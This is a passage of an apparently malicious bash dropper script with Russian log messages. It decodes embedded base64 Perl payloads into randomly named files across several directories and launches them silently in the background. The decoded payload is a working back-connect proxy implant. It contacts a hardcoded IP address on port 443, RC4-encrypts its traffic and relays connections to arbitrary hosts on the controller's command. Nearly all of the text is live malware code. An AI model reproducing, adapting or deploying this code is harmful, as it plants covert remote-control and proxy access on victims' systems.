CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #56 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #56 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 57 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" 